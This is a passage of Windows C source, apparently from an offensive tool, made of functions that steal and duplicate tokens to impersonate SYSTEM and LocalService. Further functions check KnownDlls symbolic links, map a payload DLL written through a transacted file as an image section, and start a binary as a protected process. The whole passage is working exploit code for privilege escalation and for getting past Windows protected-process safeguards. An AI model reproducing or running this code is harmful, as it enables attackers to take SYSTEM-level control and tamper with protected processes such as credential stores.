PrintDebug(L"Found a valid Token.\n");
*phToken = hTokenDup;
bReturnValue = TRUE;
}
}
}
LocalFree(pSidTmp);
LocalFree(pwszUsername);
}
if (!bReturnValue)
CloseHandle(hTokenDup);
}
CloseHandle(hToken);
}
CloseHandle(hProcess);
}
// If we found a valid token, stop
if (bReturnValue)
break;
// If next entry is null, stop
if (!pProcInfo->NextEntryOffset)
break;
// Increment SYSTEM_PROCESS_INFORMATION pointer
pProcInfo = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pProcInfo + pProcInfo->NextEntryOffset);
}
}
LocalFree(pBuffer);
dwBufSize <<= 1;
}
end:
if (pTargetSid)
LocalFree(pTargetSid);
return bReturnValue;
}
_Success_(return)
BOOL Impersonate(_In_ HANDLE hToken)
{
HANDLE hThread = GetCurrentThread(); // Pseudo handle, does not need to be closed
if (!SetThreadToken(&hThread, hToken))
{
PrintLastError(L"SetThreadToken");
return FALSE;
}
return TRUE;
}
_Success_(return)
BOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)
{
BOOL bReturnValue = FALSE;
HANDLE hCurrentProcessToken = NULL;
HANDLE hToken = NULL;
HANDLE hCurrentThread = NULL;
if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hCurrentProcessToken))
{
PrintLastError(L"OpenProcessToken");
goto end;
}
if (!TokenCheckPrivilege(hCurrentProcessToken, SE_DEBUG_NAME, TRUE))
goto end;
if (!TokenCheckPrivilege(hCurrentProcessToken, SE_IMPERSONATE_NAME, TRUE))
goto end;
if (!FindProcessTokenAndDuplicate(pwszSid, &hToken, pwszPrivileges, dwPrivilegeCount))
goto end;
if (!Impersonate(hToken))
goto end;
*phToken = hToken;
bReturnValue = TRUE;
end:
if (hCurrentProcessToken)
CloseHandle(hCurrentProcessToken);
return bReturnValue;
}
_Success_(return)
BOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken)
{
LPCWSTR pwszPrivileges[2] = { SE_DEBUG_NAME, SE_ASSIGNPRIMARYTOKEN_NAME };
return ImpersonateUser(L"S-1-5-18", phSystemToken, pwszPrivileges, sizeof(pwszPrivileges) / sizeof(*pwszPrivileges));
}
_Success_(return)
BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken)
{
return ImpersonateUser(L"S-1-5-19", phLocalServiceToken, NULL, 0);
}
_Success_(return)
BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget)
{
BOOL bReturnValue = FALSE;
NTSTATUS status = 0;
LPWSTR pwszLinkName = NULL;
OBJECT_ATTRIBUTES oa = { 0 };
UNICODE_STRING name = { 0 };
UNICODE_STRING target = { 0 };
LPWSTR pwszTargetLocal = NULL;
HANDLE hLink = NULL;
ULONG length = 0;
pwszLinkName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
if (!pwszLinkName)
goto end;
pwszTargetLocal = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
if (!pwszTargetLocal)
goto end;
StringCchPrintf(pwszLinkName, MAX_PATH, L"\\KnownDlls\\%ws", pwszDllName);
RtlInitUnicodeString(&name, pwszLinkName);
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = NtOpenSymbolicLinkObject(&hLink, SYMBOLIC_LINK_QUERY, &oa);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
PrintLastError(L"NtOpenSymbolicLinkObject");
goto end;
}
target.Buffer = pwszTargetLocal;
target.Length = 0;
target.MaximumLength = MAX_PATH * sizeof(WCHAR);
status = NtQuerySymbolicLinkObject(hLink, &target, &length);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
PrintLastError(L"NtQuerySymbolicLinkObject");
goto end;
}
bReturnValue = _wcsicmp(target.Buffer, pwszTarget) == 0;
end:
if (pwszLinkName)
LocalFree(pwszLinkName);
if (pwszTargetLocal)
LocalFree(pwszTargetLocal);
if (hLink)
CloseHandle(hLink);
return bReturnValue;
}
_Success_(return)
BOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection)
{
BOOL bReturnValue = FALSE;
OBJECT_ATTRIBUTES oa = { 0 };
UNICODE_STRING sectionName = { 0 };
NTSTATUS status = 0;
HANDLE hSection = NULL;
HANDLE hDllTransacted = NULL;
if (!WritePayloadDllTransacted(&hDllTransacted))
goto end;
RtlInitUnicodeString(&sectionName, pwszSectionName);
InitializeObjectAttributes(&oa, &sectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);
//
// According to the documentation, the SEC_IMAGE attribute must be combined with the page
// protection value PAGE_READONLY. But the page protection has actually no effect because the
// page protection is determined by the executable file itself.
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga
//
status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, NULL, PAGE_READONLY, SEC_IMAGE, hDllTransacted);
if (status != STATUS_SUCCESS)
{
SetLastError(RtlNtStatusToDosError(status));
PrintLastError(L"NtCreateSection");
goto end;
}
*phSection = hSection;
bReturnValue = TRUE;
end:
if (hDllTransacted)
CloseHandle(hDllTransacted);
return bReturnValue;
}
_Success_(return)
BOOL UnmapDll(_In_ HANDLE hSection)
{
NTSTATUS status = 0;
status = NtClose(hSection);
if (status != STATUS_SUCCESS)
{
SetLastError(RtlNtStatusToDosError(status));
PrintLastError(L"NtClose");
return FALSE;
}
return TRUE;
}
_Success_(return)
BOOL PrepareCommandLine(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath, _In_ LPWSTR pwszRandomGuid, _Out_ LPWSTR* ppwszCommandLine)
{
BOOL bReturnValue = FALSE;
const size_t size = 32767;
LPWSTR pwszSystemDirectory = NULL;
*ppwszCommandLine = (LPWSTR)LocalAlloc(LPTR, size * sizeof(WCHAR));
if (!*ppwszCommandLine)
goto end;
pwszSystemDirectory = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
if (!pwszSystemDirectory)
goto end;
GetSystemDirectory(pwszSystemDirectory, MAX_PATH);
StringCchPrintf(*ppwszCommandLine, size, L"%ws\\%ws %d \"%ws\" %ws", pwszSystemDirectory, PPL_BINARY, dwProcessId, pwszFilePath, pwszRandomGuid);
if (g_bDebug)
StringCchCat(*ppwszCommandLine, size, L" -d");
else
{
if (g_bVerbose)
StringCchCat(*ppwszCommandLine, size, L" -v");
}
bReturnValue = TRUE;
end:
if (pwszSystemDirectory)
LocalFree(pwszSystemDirectory);
return bReturnValue;
}
_Success_(return)
BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PHANDLE phProcess)
{
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
HANDLE hProcess = NULL;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
if (!CreateProcessAsUser(hToken, NULL, pwszCommandLine, NULL, NULL, TRUE, CREATE_PROTECTED_PROCESS, NULL, NULL, &si, &pi))
{
PrintLastError(L"CreateProcessAsUser");
return FALSE;
}
*phProcess = pi.hProcess;
CloseHandle(pi.hThread);
return TRUE;
}